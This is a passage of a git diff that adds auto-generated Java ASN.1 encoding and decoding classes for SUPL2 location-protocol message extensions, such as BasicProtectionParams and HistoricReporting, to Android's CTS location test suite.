+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cellParametersIdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cellParametersIdType != null) {
+ return ImmutableList.of(TAG_cellParametersIdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cellParametersIdType from encoded stream.
+ */
+ public static cellParametersIdType fromPerUnaligned(byte[] encodedBytes) {
+ cellParametersIdType result = new cellParametersIdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cellParametersIdType from encoded stream.
+ */
+ public static cellParametersIdType fromPerAligned(byte[] encodedBytes) {
+ cellParametersIdType result = new cellParametersIdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cellParametersIdType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("WcdmaCellInformation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/AllowedReportingType.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/AllowedReportingType.java
new file mode 100755
index 0000000..19502fb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/AllowedReportingType.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class AllowedReportingType extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ positionsOnly(0),
+ measurementsOnly(1),
+ positionsAndMeasurements(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_AllowedReportingType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public AllowedReportingType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_AllowedReportingType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_AllowedReportingType != null) {
+ return ImmutableList.of(TAG_AllowedReportingType);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new AllowedReportingType from encoded stream.
+ */
+ public static AllowedReportingType fromPerUnaligned(byte[] encodedBytes) {
+ AllowedReportingType result = new AllowedReportingType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new AllowedReportingType from encoded stream.
+ */
+ public static AllowedReportingType fromPerAligned(byte[] encodedBytes) {
+ AllowedReportingType result = new AllowedReportingType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "AllowedReportingType = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/BasicProtectionParams.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/BasicProtectionParams.java
new file mode 100755
index 0000000..88636c4
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/BasicProtectionParams.java
@@ -0,0 +1,588 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class BasicProtectionParams extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_BasicProtectionParams
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public BasicProtectionParams() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_BasicProtectionParams;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_BasicProtectionParams != null) {
+ return ImmutableList.of(TAG_BasicProtectionParams);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new BasicProtectionParams from encoded stream.
+ */
+ public static BasicProtectionParams fromPerUnaligned(byte[] encodedBytes) {
+ BasicProtectionParams result = new BasicProtectionParams();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new BasicProtectionParams from encoded stream.
+ */
+ public static BasicProtectionParams fromPerAligned(byte[] encodedBytes) {
+ BasicProtectionParams result = new BasicProtectionParams();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private BasicProtectionParams.keyIdentifierType keyIdentifier_;
+ public BasicProtectionParams.keyIdentifierType getKeyIdentifier() {
+ return keyIdentifier_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BasicProtectionParams.keyIdentifierType
+ */
+ public void setKeyIdentifier(Asn1Object value) {
+ this.keyIdentifier_ = (BasicProtectionParams.keyIdentifierType) value;
+ }
+ public BasicProtectionParams.keyIdentifierType setKeyIdentifierToNewInstance() {
+ keyIdentifier_ = new BasicProtectionParams.keyIdentifierType();
+ return keyIdentifier_;
+ }
+
+ private BasicProtectionParams.basicReplayCounterType basicReplayCounter_;
+ public BasicProtectionParams.basicReplayCounterType getBasicReplayCounter() {
+ return basicReplayCounter_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BasicProtectionParams.basicReplayCounterType
+ */
+ public void setBasicReplayCounter(Asn1Object value) {
+ this.basicReplayCounter_ = (BasicProtectionParams.basicReplayCounterType) value;
+ }
+ public BasicProtectionParams.basicReplayCounterType setBasicReplayCounterToNewInstance() {
+ basicReplayCounter_ = new BasicProtectionParams.basicReplayCounterType();
+ return basicReplayCounter_;
+ }
+
+ private BasicProtectionParams.basicMACType basicMAC_;
+ public BasicProtectionParams.basicMACType getBasicMAC() {
+ return basicMAC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BasicProtectionParams.basicMACType
+ */
+ public void setBasicMAC(Asn1Object value) {
+ this.basicMAC_ = (BasicProtectionParams.basicMACType) value;
+ }
+ public BasicProtectionParams.basicMACType setBasicMACToNewInstance() {
+ basicMAC_ = new BasicProtectionParams.basicMACType();
+ return basicMAC_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getKeyIdentifier() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getKeyIdentifier();
+ }
+
+ @Override public void setToNewInstance() {
+ setKeyIdentifierToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BasicProtectionParams.keyIdentifierType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "keyIdentifier : "
+ + getKeyIdentifier().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBasicReplayCounter() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBasicReplayCounter();
+ }
+
+ @Override public void setToNewInstance() {
+ setBasicReplayCounterToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BasicProtectionParams.basicReplayCounterType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "basicReplayCounter : "
+ + getBasicReplayCounter().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getBasicMAC() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBasicMAC();
+ }
+
+ @Override public void setToNewInstance() {
+ setBasicMACToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BasicProtectionParams.basicMACType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "basicMAC : "
+ + getBasicMAC().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class keyIdentifierType extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_keyIdentifierType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public keyIdentifierType() {
+ super();
+ setMinSize(8);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_keyIdentifierType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_keyIdentifierType != null) {
+ return ImmutableList.of(TAG_keyIdentifierType);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new keyIdentifierType from encoded stream.
+ */
+ public static keyIdentifierType fromPerUnaligned(byte[] encodedBytes) {
+ keyIdentifierType result = new keyIdentifierType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new keyIdentifierType from encoded stream.
+ */
+ public static keyIdentifierType fromPerAligned(byte[] encodedBytes) {
+ keyIdentifierType result = new keyIdentifierType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "keyIdentifierType";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class basicReplayCounterType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_basicReplayCounterType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public basicReplayCounterType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_basicReplayCounterType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_basicReplayCounterType != null) {
+ return ImmutableList.of(TAG_basicReplayCounterType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new basicReplayCounterType from encoded stream.
+ */
+ public static basicReplayCounterType fromPerUnaligned(byte[] encodedBytes) {
+ basicReplayCounterType result = new basicReplayCounterType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new basicReplayCounterType from encoded stream.
+ */
+ public static basicReplayCounterType fromPerAligned(byte[] encodedBytes) {
+ basicReplayCounterType result = new basicReplayCounterType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "basicReplayCounterType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class basicMACType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_basicMACType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public basicMACType() {
+ super();
+ setMinSize(32);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_basicMACType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_basicMACType != null) {
+ return ImmutableList.of(TAG_basicMACType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new basicMACType from encoded stream.
+ */
+ public static basicMACType fromPerUnaligned(byte[] encodedBytes) {
+ basicMACType result = new basicMACType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new basicMACType from encoded stream.
+ */
+ public static basicMACType fromPerAligned(byte[] encodedBytes) {
+ basicMACType result = new basicMACType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "basicMACType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("BasicProtectionParams = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/HistoricReporting.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/HistoricReporting.java
new file mode 100755
index 0000000..446b901
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/HistoricReporting.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class HistoricReporting extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_HistoricReporting
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public HistoricReporting() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_HistoricReporting;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_HistoricReporting != null) {
+ return ImmutableList.of(TAG_HistoricReporting);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new HistoricReporting from encoded stream.
+ */
+ public static HistoricReporting fromPerUnaligned(byte[] encodedBytes) {
+ HistoricReporting result = new HistoricReporting();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new HistoricReporting from encoded stream.
+ */
+ public static HistoricReporting fromPerAligned(byte[] encodedBytes) {
+ HistoricReporting result = new HistoricReporting();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private AllowedReportingType allowedReportingType_;
+ public AllowedReportingType getAllowedReportingType() {
+ return allowedReportingType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AllowedReportingType
+ */
+ public void setAllowedReportingType(Asn1Object value) {
+ this.allowedReportingType_ = (AllowedReportingType) value;
+ }
+ public AllowedReportingType setAllowedReportingTypeToNewInstance() {
+ allowedReportingType_ = new AllowedReportingType();
+ return allowedReportingType_;
+ }
+
+ private ReportingCriteria reportingCriteria_;
+ public ReportingCriteria getReportingCriteria() {
+ return reportingCriteria_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReportingCriteria
+ */
+ public void setReportingCriteria(Asn1Object value) {
+ this.reportingCriteria_ = (ReportingCriteria) value;
+ }
+ public ReportingCriteria setReportingCriteriaToNewInstance() {
+ reportingCriteria_ = new ReportingCriteria();
+ return reportingCriteria_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAllowedReportingType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAllowedReportingType();
+ }
+
+ @Override public void setToNewInstance() {
+ setAllowedReportingTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AllowedReportingType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "allowedReportingType : "
+ + getAllowedReportingType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReportingCriteria() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReportingCriteria();
+ }
+
+ @Override public void setToNewInstance() {
+ setReportingCriteriaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReportingCriteria.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reportingCriteria : "
+ + getReportingCriteria().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("HistoricReporting = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/NotificationMode.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/NotificationMode.java
new file mode 100755
index 0000000..6728ed3
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_message_extensions/NotificationMode.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_message_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class NotificationMode extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ normal(0),
+ basedOnLocation(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_NotificationMode
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NotificationMode() {
+ super();
